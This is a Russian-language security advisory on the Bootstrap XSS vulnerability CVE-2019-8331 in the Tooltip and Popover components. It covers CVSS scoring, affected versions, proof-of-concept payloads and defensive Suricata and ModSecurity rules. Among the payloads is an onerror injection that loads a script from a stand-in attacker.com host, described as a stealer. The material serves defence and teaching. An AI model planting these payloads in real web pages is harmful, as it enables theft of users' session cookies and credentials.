
Уязвимость BDU:2020-02249 (CVE-2019-8331) Bootstrap
Уязвимость BDU:2020-02249 (CVE-2019-8331) представляет собой критическую уязвимость типа Межсайтового скриптинга (XSS), обнаруженную в популярном фреймворке Bootstrap. Уязвимость затрагивает компоненты Tooltip (всплывающая подсказка) и Popover (всплывающее окно). Суть проблемы заключается в недостаточной санитизации (очистке) пользовательского ввода, передаваемого через атрибуты data-template
, data-content
и data-title
(при включенном data-html="true"
), что позволяет злоумышленнику внедрить и исполнить произвольный JavaScript-код в контексте браузера жертвы.
Анализ уязвимости
Уровень опасности: 6.1 MEDIUM
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
-
AV:N (Attack Vector: Network) - Атака может быть инициирована удаленно через сеть.
-
AC:L (Attack Complexity: Low) - Сложность атаки низкая, эксплуатация не требует сложных условий.
-
PR:N (Privileges Required: None) - Для атаки не требуются какие-либо привилегии на целевом ресурсе.
-
UI:R (User Interaction: Required) - Для успешной эксплуатации требуется взаимодействие пользователя (например, наведение курсора на элемент с Tooltip).
-
S:C (Scope: Changed) - Успешная атака может повлиять на компоненты, выходящие за рамки уязвимого компонента (например, другие вкладки/окна браузера того же пользователя).
-
C:L (Confidentiality Impact: Low) - Возможное ограниченное воздействие на конфиденциальность (кража данных сессии, личной информации в рамках страницы/домена).
-
I:L (Integrity Impact: Low) - Возможное ограниченное воздействие на целостность (модификация содержимого страницы, выполнение действий от имени пользователя в рамках сессии).
-
A:N (Availability Impact: None) - Атака не оказывает прямого влияния на доступность системы.
Уязвимые версии:
-
Bootstrap 3.x до версии 3.4.1
-
Bootstrap 4.x с версии 4.0.0 до версии 4.3.1
Условия эксплуатации
-
Наличие уязвимой версии Bootstrap: Сайт или веб-приложение должно использовать уязвимую версию Bootstrap.
-
Использование компонентов Tooltip/Popover: На странице должны использоваться компоненты Tooltip или Popover.
-
Контроль злоумышленником над данными атрибутов: Злоумышленник должен иметь возможность контролировать или влиять на содержимое атрибутов
data-template
,data-content
илиdata-title
(особенно приdata-html="true"
) элементов, к которым применяются Tooltip/Popover. Это достигается через:-
Отраженный XSS: Внедрение вредоносных данных в параметры URL, которые затем отображаются в атрибутах.
-
Хранимый XSS: Сохранение вредоносных данных на сервере (например, в профиле пользователя, комментарии, названии товара), которые затем извлекаются и подставляются в атрибуты при отображении страницы другим пользователям.
-
DOM-based XSS: Манипуляция DOM-деревом на стороне клиента для установки вредоносных значений атрибутов.
-
-
Взаимодействие пользователя: Жертва должна взаимодействовать с элементом, активирующим отображение Tooltip или Popover (навести курсор, кликнуть).
Технический анализ уязвимости и эксплоитов
Проблема кроется в коде инициализации и обработки шаблонов Tooltip/Popover внутри файлов tooltip.js
/popover.js
Bootstrap. Рассмотрим ключевые моменты на примере Bootstrap 4.x (до 4.3.1):
-
Обработка
data-html="true"
:
При установке атрибутаdata-html="true"
на элементе, Bootstrap разрешает использовать HTML-разметку внутриtitle
/content
. Код доверяет этому содержимому и вставляет его напрямую в DOM через.html()
или аналогичные методы jQuery/JavaScript без должной очистки. -
Обработка
data-template
:
Атрибутdata-template
позволяет полностью переопределить HTML-структуру самого Tooltip/Popover. Bootstrap использует его значение для создания нового DOM-элемента:Значение
data-template
вставляется как HTML через$(string)
, что позволяет внедрить произвольные теги, включая<script>
, или теги с обработчиками событий (onerror
,onload
,onmouseover
).
Анализ PoC (Proof of Concept)
Рассмотрим код эксплоитов для понимания работы вектора атаки с использованием этой уязвимости.
Пример 1: Инъекция через data-template
с использованием onerror
<x data-toggle="tooltip" data-template="<img src=x onerror=alert(1)>">Наведи на меня (XSS!)</x>
-
Механизм: Атрибут
data-template
содержит строку, создающую элемент<img>
. Атрибутsrc="x"
заведомо невалиден. При попытке загрузить несуществующее изображение срабатывает обработчикonerror
, исполняяalert(1)
. -
Активация: При наведении курсора на элемент
<x>
активируется Tooltip. Bootstrap берет значениеdata-template
, создает из него элемент и добавляет в DOM. Неудачная загрузка картинки триггерит XSS.
Пример 2: Инъекция через title
/data-content
с data-html="true"
<x data-toggle="tooltip" data-html="true" title='<script>alert(1)</script>'>Наведи на меня (XSS!)</x> <x data-toggle="tooltip" data-html="true" data-content='<script>alert(1)</script>'>Наведи на меня (XSS!)</x>
-
Механизм: Атрибуты
title
илиdata-content
содержат строку с тегом<script>
. Установкаdata-html="true"
говорит Bootstrap интерпретировать содержимое как HTML, а не как простой текст. -
Активация: При наведении курсора Bootstrap извлекает содержимое
title
/data-content
, интерпретирует его как HTML (включая тег<script>
) и вставляет в DOM Tooltip. Тег<script>
исполняется браузером.
Пример 3: Динамическая загрузка внешнего скрипта
<x data-toggle="tooltip" data-html="true" title='<img src="x" onerror="var s=document.createElement(`script`);s.src=`https://attacker.com/malicious.js`;document.body.appendChild(s);">'>Наведи на меня (Stealer!)</x>
-
Механизм: Более опасный сценарий. Используется
onerror
в<img>
(аналогично Примеру 1), но вместоalert
создается и добавляется в DOM тег<script>
, ссылающийся на внешний вредоносный JavaScript-файл (malicious.js
). -
Последствия:
malicious.js
может содержать код для:-
Кражи cookies сессии (включая аутентификационные).
-
Кражу данных форм (логины, пароли, платежные реквизиты).
-
Перенаправления пользователя на фишинговый сайт.
-
Кейлоггинга (перехвата нажатий клавиш).
-
Установки вредоносного ПО через эксплойты браузера.
-
Участия в ботнете (криптомайнинг, DDoS).
-
Где используется Bootstrap?
Bootstrap – один из самых распространенных CSS/JS фреймворков. Он используется в:
-
Корпоративных порталах и CRM/ERP системах.
-
Системах управления контентом (CMS) и их шаблонах.
-
Административных панелях (админках) устройств и ПО.
-
Интернет-магазинах (e-commerce).
-
Стартапах и MVP (Minimum Viable Product).
-
Множестве внутренних веб-приложений компаний.
Пример из POC: Официальный сайт штата Нью-Джерси (https-nj.gov
) использовал уязвимую версию Bootstrap 4.0.0.
Возможные последствия успешной атаки
-
Кража сессионных cookies: Позволяет злоумышленнику захватить активную сессию пользователя и войти в систему от его имени.
-
Кража учетных данных: Перехват логинов и паролей, вводимых на странице.
-
Кража конфиденциальных данных (PII): Доступ к персональным данным, отображаемым на странице (имена, адреса, номера телефонов, документы).
-
Подмена контента: Изменение текста, изображений или форм на странице для дезинформации или фишинга.
-
Перенаправление на вредоносные сайты.
-
Выполнение действий от имени пользователя: Отправка сообщений, совершение платежей, изменение настроек профиля.
-
Распространение вредоносного ПО: Эксплуатация уязвимостей в браузере или плагинах для загрузки троянов.
-
Участие в криптомайнинге (Cryptojacking): Использование ресурсов CPU посетителя для майнинга криптовалюты.
Методы защиты
-
Обновление Bootstrap: Самый эффективный и критически важный метод.
-
Для Bootstrap 3.x: Обновиться до версии 3.4.1 или выше.
-
Для Bootstrap 4.x: Обновиться до версии 4.3.1 или выше (рекомендуется последняя стабильная 4.6.x или миграция на 5.x).
-
Для Bootstrap 5.x: Уязвимость изначально исправлена. Используйте последнюю стабильную версию.
-
-
Строгая санитизация на стороне сервера:
-
Все данные, подставляемые в атрибуты
data-template
,data-content
,data-title
(и любые другие, влияющие на HTML Tooltip/Popover), должны проходить строгую очистку перед выводом в HTML-контекст. -
Используйте проверенные библиотеки санитизации HTML:
-
PHP:
htmlspecialchars($string, ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, 'UTF-8')
(для текста!), или более продвинутые какHTML Purifier
для сложных HTML-фрагментов (с осторожностью!). -
Node.js:
sanitize-html
,xss
,DOMPurify
(рекомендуется). -
Python (Django): Автоматическое экранирование шаблонов (активировано по умолчанию), или
django.utils.html.escape
. Для сложных случаев -bleach
. -
Java: OWASP Java Encoder Project (
Encoder.forHtmlContent()
),Jsoup
(с осторожностью при очистке).
-
-
Принцип: Удаляйте или экранируйте (
<
-><
,>
->>
,"
->"
,'
->'
,&
->&
) все символы, имеющие специальное значение в HTML. Особенно важно для атрибутов.
-
-
Строгая валидация входных данных:
-
Если атрибуты должны содержать только определенные шаблоны или ограниченный набор HTML-тегов/атрибутов, применяйте строгую валидацию (белые списки -
allowlist
). Отвергайте любые данные, не соответствующие строгому шаблону.
-
-
Content Security Policy (CSP):
-
Не панацея, но мощный дополнительный рубеж защиты.
-
Политика
script-src
с'self'
и явным указанием доверенных источников ('unsafe-inline'
и'unsafe-eval'
должны быть строго исключены!) предотвратит выполнение инлайн-скриптов (<script>...</script>
,onerror=...
) из внедренного кода. -
Пример строгой политики:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'; img-src 'self' data:; object-src 'none'; base-uri 'none';
-
Тестируйте! CSP может сломать функциональность легальных скриптов.
-
-
Защита с помощью WAF/IPS (Suricata):
-
Рекомендация: WAF/IPS не заменяет обновление библиотеки или санитизацию! Это дополнительный слой защиты, особенно полезный при работе с легаси-системами, где немедленное обновление невозможно.
-
Цель правил: Обнаруживать попытки внедрения опасных шаблонов в специфические атрибуты Tooltip/Popover в HTTP-запросах (GET/POST параметры, заголовки) и HTTP-ответах (где уязвимый контент может отображаться).
-
Пример правил для Suricata:
# Правило 1: Поиск `data-template` с явными попытками XSS (onerror, onload, javascript:) alert http any any -> any any (msg:"BDU:2020-02249 / CVE-2019-8331 Potential Bootstrap XSS via data-template (PoC Pattern)"; flow:to_server; content:"data-template"; nocase; content:"onerror"; nocase; distance:0; within:50; metadata: cve 2019-8331, bdu 2020-02249, tag xss; sid:202002249001; rev:1;) alert http any any -> any any (msg:"BDU:2020-02249 / CVE-2019-8331 Potential Bootstrap XSS via data-template (Script Tag)"; flow:to_server; content:"data-template"; nocase; pcre:"/data-template\s*=[\s'\"]*<script[^>]*>/i"; metadata: cve 2019-8331, bdu 2020-02249, tag xss; sid:202002249002; rev:1;) # Правило 2: Поиск `data-html=true` в сочетании с опасным содержимым в `data-title`/`data-content` alert http any any -> any any (msg:"BDU:2020-02249 / CVE-2019-8331 Potential Bootstrap XSS via data-html and data-title/data-content (Script Tag)"; flow:to_server; content:"data-html"; nocase; content:"true"; nocase; distance:0; content:"data-title"; nocase; distance:0; pcre:"/data-title\s*=[\s'\"]*<script[^>]*>/i"; metadata: cve 2019-8331, bdu 2020-02249, tag xss; sid:202002249003; rev:1;) alert http any any -> any any (msg:"BDU:2020-02249 / CVE-2019-8331 Potential Bootstrap XSS via data-html and data-title/data-content (Event Handler)"; flow:to_server; content:"data-html"; nocase; content:"true"; nocase; distance:0; content:"data-content"; nocase; distance:0; content:"onerror"; nocase; distance:0; within:50; metadata: cve 2019-8331, bdu 2020-02249, tag xss; sid:202002249004; rev:1;) # Правило 3: Мониторинг ответов на наличие индикаторов уязвимой версии Bootstrap (опционально, для обнаружения уязвимых целей) alert http any any -> any any (msg:"BDU:2020-02249 / CVE-2019-8331 Vulnerable Bootstrap Version Detected (3.x < 3.4.1)"; flow:from_server; content:"bootstrap"; nocase; content:"v3."; distance:0; pcre:"/v3\.(?:[0-2]\.|3\.[0-3]|4\.[0-0])(?!\d)/"; metadata: cve 2019-8331, bdu 2020-02249, tag reconnaissance; sid:202002249005; rev:1;) alert http any any -> any any (msg:"BDU:2020-02249 / CVE-2019-8331 Vulnerable Bootstrap Version Detected (4.x < 4.3.1)"; flow:from_server; content:"bootstrap"; nocase; content:"v4."; distance:0; pcre:"/v4\.(?:[0-2]\.|3\.[0-0])(?!\d)/"; metadata: cve 2019-8331, bdu 2020-02249, tag reconnaissance; sid:202002249006; rev:1;)
-
Важные замечания по IPS:
-
False Positives / False Negatives: Эти правила могут давать ложные срабатывания (если в данных легально встречаются слова
onerror
,data-template
в безопасном контексте) или пропускать сложно закодированные атаки. Требуется тщательная настройка и тестирование в конкретной среде. -
Контекст: Правила анализируют сырые HTTP-данные. Обфускация (кодирование URL, Unicode, JS-функции) может обойти простые сигнатуры. Требуются более сложные правила или нормализация.
-
Эффективность: WAF лучше блокирует отраженные XSS. Против хранимых XSS он эффективен только на этапе попытки сохранения вредоносных данных на сервер.
-
-
Правила для ModSecurity (OWASP Core Rule Set - CRS) - Блокировка атак на Bootstrap CVE-2019-8331:
# ===================================================================== # CVE-2019-8331 / BDU:2020-02249: Bootstrap XSS in Tooltip/Popover # Таргетирует атрибуты data-template, data-content, data-title + data-html=true # ===================================================================== # Правило 1: Блокировка опасных паттернов в data-template (основной вектор) SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* "@rx (?i)(?:data-template\s*=\s*['\"]?|<\w+\s+[^>]*?data-template\s*=\s*['\"]?)([^'\">]*(?:<script[^>]*>|on(?:error|load|mouseover)\s*=|javascript\s*:|\b(?:expression|eval)\s*\(|<\s*img\s+[^>]*src\s*=\s*[^>]*onerror\s*=))" \ "id:2020022491,\ phase:2,\ block,\ t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,\ msg:'Potential CVE-2019-8331 Exploit: Malicious data-template attribute detected',\ logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}',\ tag:'application-multi',\ tag:'language-multi',\ tag:'platform-multi',\ tag:'attack-xss',\ tag:'paranoia-level/2',\ tag:'OWASP_CRS',\ tag:'capec/1000/152/242',\ ctl:ruleRemoveTargetByTag=OWASP_CRS;ARGS:comment,\ ver:'OWASP_CRS/3.4.0',\ severity:'CRITICAL',\ setvar:'tx.anomaly_score_pl2=+%{tx.critical_anomaly_score}',\ setvar:'tx.xss_score=+%{tx.critical_anomaly_score}'" # Правило 2: Блокировка опасного контента в data-title/data-content при наличии data-html=true SecRule ARGS|ARGS_NAMES "@rx (?i)(?:data-(?:title|content)\s*=\s*['\"]?|<\w+\s+[^>]*?data-(?:title|content)\s*=\s*['\"]?)([^'\">]*(?:<script[^>]*>|on(?:error|load|mouseover)\s*=|javascript\s*:|\b(?:expression|eval)\s*\(|<\s*img\s+[^>]*src\s*=\s*[^>]*onerror\s*=))" \ "id:2020022492,\ phase:2,\ block,\ chain,\ t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase" SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* "@rx (?i)data-html\s*=\s*['\"]?true" \ "t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,\ ctl:ruleRemoveTargetByTag=OWASP_CRS;ARGS:description,\ msg:'Potential CVE-2019-8331 Exploit: Malicious data-title/content with data-html=true',\ logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}',\ tag:'application-multi',\ tag:'language-multi',\ tag:'platform-multi',\ tag:'attack-xss',\ tag:'paranoia-level/2',\ tag:'OWASP_CRS',\ tag:'capec/1000/152/242',\ ver:'OWASP_CRS/3.4.0',\ severity:'CRITICAL',\ setvar:'tx.anomaly_score_pl2=+%{tx.critical_anomaly_score}',\ setvar:'tx.xss_score=+%{tx.critical_anomaly_score}'" # Правило 3: Блокировка уязвимых версий Bootstrap в ответах сервера (обнаружение уязвимого ресурса) SecRule RESPONSE_BODY "@rx (?:bootstrap[^>]*(?:v(?:3\.(?:[0-2]\.\d+|3\.[0-3]|4\.0)|v(?:4\.(?:[0-2]\.\d+|3\.[0-1])))|\/bootstrap\/(?:3\.[0-3]\.|4\.[0-3]\.)\d+\/js\/bootstrap(?:\.min)?\.js)" \ "id:2020022493,\ phase:4,\ pass,\ t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,\ msg:'Vulnerable Bootstrap Version Detected (CVE-2019-8331)',\ logdata:'Matched Bootstrap version: %{TX.0}',\ tag:'application-multi',\ tag:'language-multi',\ tag:'platform-multi',\ tag:'info',\ tag:'paranoia-level/1',\ tag:'OWASP_CRS',\ ver:'OWASP_CRS/3.4.0',\ severity:'NOTICE'"
Пояснения к правилам WAF:
-
Правило 2020022491 (data-template):
-
Цель: Обнаруживает опасные паттерны внутри значений атрибута
data-template
. -
Механизм:
-
Ищет строки типа
data-template=
,data-template =
,data-template='
,data-template="
(с пробелами и кавычками). -
Ищет внутри значения ключевые индикаторы XSS:
-
<script>
теги -
Обработчики событий:
onerror=
,onload=
,onmouseover=
-
JavaScript-протокол:
javascript:
-
Опасные функции:
expression(
,eval(
-
Специфичный для PoC паттерн:
<img ... src=... onerror=
-
-
Применяет трансформации (декодирование URL, HTML-сущностей, приведение к нижнему регистру) для борьбы с обфускацией.
-
-
Действие: Блокировка запроса (
block
), критическая (CRITICAL
) оценка аномалии. -
Исключения (
ctl:ruleRemoveTargetByTag
): Пример исключения аргументаcomment
(если нужно для функционала). Требует настройки!
-
-
Правило 2020022492 (data-title/data-content + data-html):
-
Цель: Обнаруживает опасный контент в
data-title
илиdata-content
только если присутствуетdata-html="true"
. -
Механизм:
-
Цепочка (chain): Первая часть ищет опасный контент в
data-title/data-content
. Вторая часть (chain
) проверяет наличиеdata-html=true
. -
Использует те же индикаторы XSS, что и Правило 1.
-
Трансформации аналогичны.
-
-
Действие: Блокировка запроса, критическая оценка.
-
Важность условия
data-html=true
: Без этого атрибута Bootstrap экранирует контент, делая атаку невозможной. Правило фокусируется на опасной комбинации.
-
-
Правило 2020022493 (Обнаружение уязвимой версии):
-
Цель: Пассивное обнаружение факта использования уязвимой версии Bootstrap в ответах сервера.
-
Механизм: Ищет в теле ответа (
RESPONSE_BODY
) признаки загрузки уязвимых версий:-
Строки версий:
v3.0.0
-v3.4.0
,v4.0.0
-v4.3.1
(но неv3.4.1+
илиv4.3.2+
) -
Пути к уязвимым JS-файлам:
/bootstrap/3.4.0/js/bootstrap.js
,/bootstrap/4.3.1/js/bootstrap.min.js
и т.д.
-
-
Действие: Не блокирует (
pass
), регистрирует событие с уровнемNOTICE
(Уведомление). Информационное! Помогает выявить уязвимые компоненты.
-
Ключевые особенности и предупреждения:
-
Трансформации (
t:
): Критически важны для обнаружения обфусцированных атак:-
t:urlDecodeUni
: Декодирует %-кодирование (например,%3Cscript%3E
-><script>
). -
t:htmlEntityDecode
: Декодирует HTML-сущности (например,<script>
-><script>
). -
t:lowercase
: Приводит к нижнему регистру для регистронезависимости.
-
-
Ложные срабатывания (False Positives):
-
Высокая вероятность! Правила агрессивны для надежности.
-
Исключения (
ctl:ruleRemoveTargetByTag
): Обязательно настройте исключения для параметров, где ожидается HTML (например, поля WYSIWYG редакторов, описания товаров). Исключать нужно по именам параметров (ARGS:paramName
). -
Тестирование: Тщательно тестируйте правила на тестовой среде перед развертыванием в продакшене. Используйте позитивные и негативные тест-кейсы.
-
-
Ограничения WAF:
-
Не панацея: WAF дополняет, но не заменяет обновление библиотеки и санитизацию входных данных!
-
DOM-based XSS: Может быть сложно обнаружить атаки, полностью формируемые на клиенте (JS).
-
Сложная обфускация: Опытные злоумышленники могут использовать сложные методы кодирования или разбиения строк для обхода сигнатур.
-
Performance: Сложные правила с трансформациями могут нагружать WAF. Мониторьте производительность.
-
-
Интеграция с CRS:
-
Правила используют структуру и переменные OWASP CRS (версии 3.x). Их следует размещать в своем собственном файле конфигурации (например,
REQUEST-901-BOOTSTRAP-CVE-2019-8331.conf
) и подключать после основных файлов CRS. -
Они повышают счетчик аномалий (
tx.anomaly_score
), что позволяет интегрировать их в общую логику блокировки CRS (на основе пороговых значений).
-
Заключение:
Уязвимость BDU:2020-02249 (CVE-2019-8331) в Bootstrap – классический пример DOM-based XSS, вызванного доверием к несанитизированным пользовательским данным при динамическом построении HTML. Ее эксплуатация, хоть и требующая взаимодействия пользователя, позволяет злоумышленнику выполнять произвольный код в браузере жертвы с серьезными последствиями для конфиденциальности и целостности. Основной и абсолютно необходимой мерой защиты является немедленное обновление Bootstrap до исправленных версий. Дополнительные меры, такие как строгая санитизация всех пользовательских данных на стороне сервера, внедрение CSP и настройка WAF/IPS, создают защитные слои, но не заменяют обновление библиотеки. Понимание механизма работы уязвимости и векторов атаки, демонстрируемых PoC, критически важно для специалистов по безопасности при проведении аудита веб-приложений и реагировании на инциденты.
